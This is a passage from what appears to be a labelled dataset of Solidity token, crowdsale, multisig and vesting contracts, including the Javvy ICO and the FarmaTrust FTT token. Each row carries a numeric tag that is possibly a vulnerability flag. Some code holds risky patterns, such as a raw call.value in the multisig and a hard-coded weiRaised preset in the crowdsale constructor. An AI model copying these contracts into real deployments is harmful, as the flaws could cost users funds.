uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping(uint => Transaction) public transactions;
mapping(uint => mapping(address => bool)) public confirmations;
mapping(address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != address(0));
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
bool ownerValid = ownerCount <= MAX_OWNER_COUNT;
bool ownerNotZero = ownerCount != 0;
bool requiredValid = _required <= ownerCount;
bool requiredNotZero = _required != 0;
require(ownerValid && ownerNotZero && requiredValid && requiredNotZero);
_;
}
function() payable public {
fallback();
}
function fallback() payable public {
if (msg.value > 0) {
emit Deposit(msg.sender, msg.value);
}
}
constructor(
address[] _owners,
uint _required
) public validRequirement(_owners.length, _required)
{
for (uint i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i = 0; i < owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i = 0; i < owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (txn.destination.call.value(txn.value)(txn.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
function isConfirmed(uint transactionId) public view returns (bool) {
uint count = 0;
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination : destination,
value : value,
data : data,
executed : false
});
transactionCount += 1;
emit Submission(transactionId);
}
function getConfirmationCount(uint transactionId) public view returns (uint count) {
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) {
count += 1;
}
}
}
function getTransactionCount(
bool pending,
bool executed
) public view returns (uint count) {
for (uint i = 0; i < transactionCount; i++) {
if (pending &&
!transactions[i].executed ||
executed &&
transactions[i].executed
) {
count += 1;
}
}
}
function getOwners() public view returns (address[]) {
return owners;
}
function getConfirmations(
uint transactionId
) public view returns (address[] _confirmations) {
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++)
_confirmations[i] = confirmationsTemp[i];
}
function getTransactionIds(
uint from,
uint to,
bool pending,
bool executed
) public view returns (uint[] _transactionIds) {
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i = 0; i < transactionCount; i++)
if (pending &&
!transactions[i].executed ||
executed &&
transactions[i].executed
) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i = from; i < to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
contract JavvyMultiSig is MultiSigWallet {
constructor(
address[] _owners,
uint _required
)
MultiSigWallet(_owners, _required)
public {}
}
contract Config {
uint256 public constant jvySupply = 333333333333333;
uint256 public constant bonusSupply = 83333333333333;
uint256 public constant saleSupply = 250000000000000;
uint256 public constant hardCapUSD = 8000000;
uint256 public constant preIcoBonus = 25;
uint256 public constant minimalContributionAmount = 0.4 ether;
function getStartPreIco() public view returns (uint256) {
uint256 _preIcoStartTime = block.timestamp + 1 minutes;
return _preIcoStartTime;
}
function getStartIco() public view returns (uint256) {
uint256 _icoStartTime = block.timestamp + 2 minutes;
return _icoStartTime;
}
function getEndIco() public view returns (uint256) {
uint256 _icoEndTime = 1556668799;
return _icoEndTime;
}
}
contract JavvyToken is DetailedERC20, StandardToken, Ownable, Config {
address public crowdsaleAddress;
address public bonusAddress;
address public multiSigAddress;
constructor(
string _name,
string _symbol,
uint8 _decimals
) public
DetailedERC20(_name, _symbol, _decimals) {
require(
jvySupply == saleSupply + bonusSupply,
"Sum of provided supplies is not equal to declared total Javvy supply. Check config!"
);
totalSupply_ = tokenToDecimals(jvySupply);
}
function initializeBalances(
address _crowdsaleAddress,
address _bonusAddress,
address _multiSigAddress
) public
onlyOwner() {
crowdsaleAddress = _crowdsaleAddress;
bonusAddress = _bonusAddress;
multiSigAddress = _multiSigAddress;
_initializeBalance(_crowdsaleAddress, saleSupply);
_initializeBalance(_bonusAddress, bonusSupply);
}
function _initializeBalance(address _address, uint256 _supply) private {
require(_address != address(0), "Address cannot be equal to 0x0!");
require(_supply != 0, "Supply cannot be equal to 0!");
balances[_address] = tokenToDecimals(_supply);
emit Transfer(address(0), _address, _supply);
}
function tokenToDecimals(uint256 _amount) private view returns (uint256){
return _amount * (10 ** 12);
}
function getRemainingSaleTokens() external view returns (uint256) {
return balanceOf(crowdsaleAddress);
}
}
contract Escrow is Ownable {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private deposits;
function depositsOf(address _payee) public view returns (uint256) {
return deposits[_payee];
}
function deposit(address _payee) public onlyOwner payable {
uint256 amount = msg.value;
deposits[_payee] = deposits[_payee].add(amount);
emit Deposited(_payee, amount);
}
function withdraw(address _payee) public onlyOwner {
uint256 payment = deposits[_payee];
assert(address(this).balance >= payment);
deposits[_payee] = 0;
_payee.transfer(payment);
emit Withdrawn(_payee, payment);
}
}
contract ConditionalEscrow is Escrow {
function withdrawalAllowed(address _payee) public view returns (bool);
function withdraw(address _payee) public {
require(withdrawalAllowed(_payee));
super.withdraw(_payee);
}
}
contract RefundEscrow is Ownable, ConditionalEscrow {
enum State {Active, Refunding, Closed}
event Closed();
event RefundsEnabled();
State public state;
address public beneficiary;
constructor(address _beneficiary) public {
require(_beneficiary != address(0));
beneficiary = _beneficiary;
state = State.Active;
}
function deposit(address _refundee) public payable {
require(state == State.Active);
super.deposit(_refundee);
}
function close() public onlyOwner {
require(state == State.Active);
state = State.Closed;
emit Closed();
}
function enableRefunds() public onlyOwner {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function beneficiaryWithdraw() public {
require(state == State.Closed);
beneficiary.transfer(address(this).balance);
}
function withdrawalAllowed(address _payee) public view returns (bool) {
return state == State.Refunding;
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function() external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is Ownable, TimedCrowdsale {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() public onlyOwner {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundEscrow private escrow;
constructor(uint256 _goal) public {
require(_goal > 0);
escrow = new RefundEscrow(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
escrow.withdraw(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
escrow.close();
escrow.beneficiaryWithdraw();
} else {
escrow.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
escrow.deposit.value(msg.value)(msg.sender);
}
}
contract JavvyCrowdsale is RefundableCrowdsale, CappedCrowdsale, Pausable, Config {
uint256 public icoStartTime;
address public transminingAddress;
address public bonusAddress;
uint256 private USDETHRate;
mapping(address => bool) public blacklisted;
JavvyToken token;
enum Stage {
NotStarted,
PreICO,
ICO,
AfterICO
}
function getStage() public view returns (Stage) {
uint256 blockTime = block.timestamp;
if (blockTime < openingTime) return Stage.NotStarted;
if (blockTime < icoStartTime) return Stage.PreICO;
if (blockTime < closingTime) return Stage.ICO;
else return Stage.AfterICO;
}
constructor(
uint256 _rate,
JavvyMultiSig _wallet,
JavvyToken _token,
uint256 _cap,
uint256 _goal,
address _bonusAddress,
address[] _blacklistAddresses,
uint256 _USDETHRate
)
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
TimedCrowdsale(getStartPreIco(), getEndIco())
RefundableCrowdsale(_goal)
public {
require(getStartIco() > block.timestamp, "ICO has to begin in the future");
require(getEndIco() > block.timestamp, "ICO has to end in the future");
require(_goal <= _cap, "Soft cap should be equal or smaller than hard cap");
icoStartTime = getStartIco();
bonusAddress = _bonusAddress;
token = _token;
for (uint256 i = 0; i < _blacklistAddresses.length; i++) {
blacklisted[_blacklistAddresses[i]] = true;
}
setUSDETHRate(_USDETHRate);
weiRaised = 46461161522138564065713;
}
function buyTokens(address _beneficiary) public payable {
require(!blacklisted[msg.sender], "Sender is blacklisted");
bool preallocated = false;
uint256 preallocatedTokens = 0;
_buyTokens(
_beneficiary,
msg.sender,
msg.value,
preallocated,
preallocatedTokens
);
}
function bulkPreallocate(address[] _owners, uint256[] _tokens, uint256[] _paid)
public
onlyOwner() {
require(
_owners.length == _tokens.length,
"Lengths of parameter lists have to be equal"
);
require(
_owners.length == _paid.length,
"Lengths of parameter lists have to be equal"
);
for (uint256 i = 0; i < _owners.length; i++) {
preallocate(_owners[i], _tokens[i], _paid[i]);
}
}
function preallocate(address _owner, uint256 _tokens, uint256 _paid)
public
onlyOwner() {
require(!blacklisted[_owner], "Address where tokens will be sent is blacklisted");
bool preallocated = true;
uint256 preallocatedTokens = _tokens;
_buyTokens(
_owner,
_owner,
_paid,
preallocated,
preallocatedTokens
);
}
function setTransminingAddress(address _transminingAddress) public
onlyOwner() {
transminingAddress = _transminingAddress;
}
function moveTokensToTransmining(uint256 _amount) public
onlyOwner() {
uint256 remainingTokens = token.getRemainingSaleTokens();
require(
transminingAddress != address(0),
"Transmining address must be set!"
);
require(
remainingTokens >= _amount,
"Balance of remaining tokens for sale is smaller than requested amount for trans-mining"
);
uint256 weiNeeded = cap - weiRaised;
uint256 tokensNeeded = weiNeeded * rate;
if (getStage() != Stage.AfterICO) {
require(remainingTokens - _amount > tokensNeeded, "You need to leave enough tokens to reach hard cap");
}
_deliverTokens(transminingAddress, _amount, this);
}
function _buyTokens(
address _beneficiary,
address _sender,
uint256 _value,
bool _preallocated,
uint256 _tokens
) internal
whenNotPaused() {
uint256 tokens;
if (!_preallocated) {
require(
_value >= minimalContributionAmount,
"Amount contributed should be greater than required minimal contribution"
);
require(_tokens == 0, "Not preallocated tokens should be zero");
_preValidatePurchase(_beneficiary, _value);
} else {
require(_tokens != 0, "Preallocated tokens should be greater than zero");
require(weiRaised.add(_value) <= cap, "Raised tokens should not exceed hard cap");
}
if (!_preallocated) {
tokens = _getTokenAmount(_value);
} else {
tokens = _tokens;
}
weiRaised = weiRaised.add(_value);
_processPurchase(_beneficiary, tokens, this);
emit TokenPurchase(
_sender,
_beneficiary,
_value,
tokens
);
_updatePurchasingState(_beneficiary, _value);
_forwardFunds();
if (!_preallocated) {
_postValidatePurchase(_beneficiary, _value);
}
}
function _getBaseTokens(uint256 _value) internal view returns (uint256) {
return _value.mul(rate);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256) {
uint256 baseTokens = _getBaseTokens(_weiAmount);
if (getStage() == Stage.PreICO) {
return baseTokens.mul(100 + preIcoBonus).div(100);
} else {
return baseTokens;
}
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount,
address _sourceAddress
) internal {
_deliverTokens(_beneficiary, _tokenAmount, _sourceAddress);
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount,
address _sourceAddress
) internal {
if (_sourceAddress == address(this)) {
token.transfer(_beneficiary, _tokenAmount);
} else {
token.transferFrom(_sourceAddress, _beneficiary, _tokenAmount);
}
}
function finalization() internal {
require(
transminingAddress != address(0),
"Transmining address must be set!"
);
super.finalization();
_deliverTokens(transminingAddress, token.getRemainingSaleTokens(), this);
}
function setUSDETHRate(uint256 _USDETHRate) public
onlyOwner() {
require(_USDETHRate > 0, "USDETH rate should not be zero");
USDETHRate = _USDETHRate;
cap = hardCapUSD.mul(USDETHRate);
}
} | 1 | 4,994 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract Ownable {
address public owner;
modifier onlyOwner {
require(isOwner(msg.sender));
_;
}
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
owner = _newOwner;
}
function isOwner(address _address) public constant returns (bool) {
return owner == _address;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
}
contract FTT is Ownable {
using SafeMath for uint256;
uint256 public totalSupply = 1000000000 * 10**uint256(decimals);
string public constant name = "FarmaTrust Token";
string public symbol = "FTT";
uint8 public constant decimals = 18;
mapping(address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event FTTIssued(address indexed from, address indexed to, uint256 indexed amount, uint256 timestamp);
event TdeStarted(uint256 startTime);
event TdeStopped(uint256 stopTime);
event TdeFinalized(uint256 finalizeTime);
uint256 public constant FT_TOKEN_SALE_CAP = 600000000 * 10**uint256(decimals);
uint256 public FT_OPERATIONAL_FUND = totalSupply - FT_TOKEN_SALE_CAP;
uint256 public FT_TEAM_FUND = FT_OPERATIONAL_FUND / 10;
uint256 public fttIssued = 0;
address public tdeIssuer = 0x2Ec9F52A5e4E7B5e20C031C1870Fd952e1F01b3E;
address public teamVestingAddress;
address public unsoldVestingAddress;
address public operationalReserveAddress;
bool public tdeActive;
bool public tdeStarted;
bool public isFinalized = false;
bool public capReached;
uint256 public tdeDuration = 60 days;
uint256 public tdeStartTime;
function FTT() public {
}
modifier onlyTdeIssuer {
require(msg.sender == tdeIssuer);
_;
}
modifier tdeRunning {
require(tdeActive && block.timestamp < tdeStartTime + tdeDuration);
_;
}
modifier tdeEnded {
require(((!tdeActive && block.timestamp > tdeStartTime + tdeDuration) && tdeStarted) || capReached);
_;
}
function startTde()
public
onlyOwner
{
require(!isFinalized);
tdeActive = true;
tdeStarted = true;
if (tdeStartTime == 0) {
tdeStartTime = block.timestamp;
}
TdeStarted(tdeStartTime);
}
function stopTde(bool _restart)
external
onlyOwner
{
tdeActive = false;
if (_restart) {
tdeStartTime = 0;
}
TdeStopped(block.timestamp);
}
function extendTde(uint256 _time)
external
onlyOwner
{
tdeDuration = tdeDuration.add(_time);
}
function shortenTde(uint256 _time)
external
onlyOwner
{
tdeDuration = tdeDuration.sub(_time);
}
function setTdeIssuer(address _tdeIssuer)
external
onlyOwner
{
tdeIssuer = _tdeIssuer;
}
function setOperationalReserveAddress(address _operationalReserveAddress)
external
onlyOwner
tdeRunning
{
operationalReserveAddress = _operationalReserveAddress;
}
function issueFTT(address _user, uint256 _fttAmount)
public
onlyTdeIssuer
tdeRunning
returns(bool)
{
uint256 newAmountIssued = fttIssued.add(_fttAmount);
require(_user != address(0));
require(_fttAmount > 0);
require(newAmountIssued <= FT_TOKEN_SALE_CAP);
balances[_user] = balances[_user].add(_fttAmount);
fttIssued = newAmountIssued;
FTTIssued(tdeIssuer, _user, _fttAmount, block.timestamp);
if (fttIssued == FT_TOKEN_SALE_CAP) {
capReached = true;
}
return true;
}
function fttIssued()
external
view
returns (uint256)
{
return fttIssued;
}
function finalize()
external
tdeEnded
onlyOwner
{
require(!isFinalized);
uint256 teamVestingCliff = 15778476;
uint256 teamVestingDuration = 1 years;
TokenVesting teamVesting = new TokenVesting(owner, now, teamVestingCliff, teamVestingDuration, true);
teamVesting.transferOwnership(owner);
teamVestingAddress = address(teamVesting);
balances[teamVestingAddress] = FT_TEAM_FUND;
if (!capReached) {
uint256 unsoldVestingCliff = 3 years;
uint256 unsoldVestingDuration = 10 years;
TokenVesting unsoldVesting = new TokenVesting(owner, now, unsoldVestingCliff, unsoldVestingDuration, true);
unsoldVesting.transferOwnership(owner);
unsoldVestingAddress = address(unsoldVesting);
balances[unsoldVestingAddress] = FT_TOKEN_SALE_CAP - fttIssued;
}
balances[operationalReserveAddress] = FT_OPERATIONAL_FUND - FT_TEAM_FUND;
isFinalized = true;
TdeFinalized(block.timestamp);
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool)
{
if (!isFinalized) return false;
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function transfer(address _to, uint256 _value)
public
returns (bool)
{
if (!isFinalized) return false;
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
public
returns (bool)
{
require(_spender != address(0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function balanceOf(address _owner)
public
view
returns (uint256 balance)
{
return balances[_owner];
}
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue)
public
returns (bool success)
{
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue)
public
returns (bool success)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 1 | 3,376 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
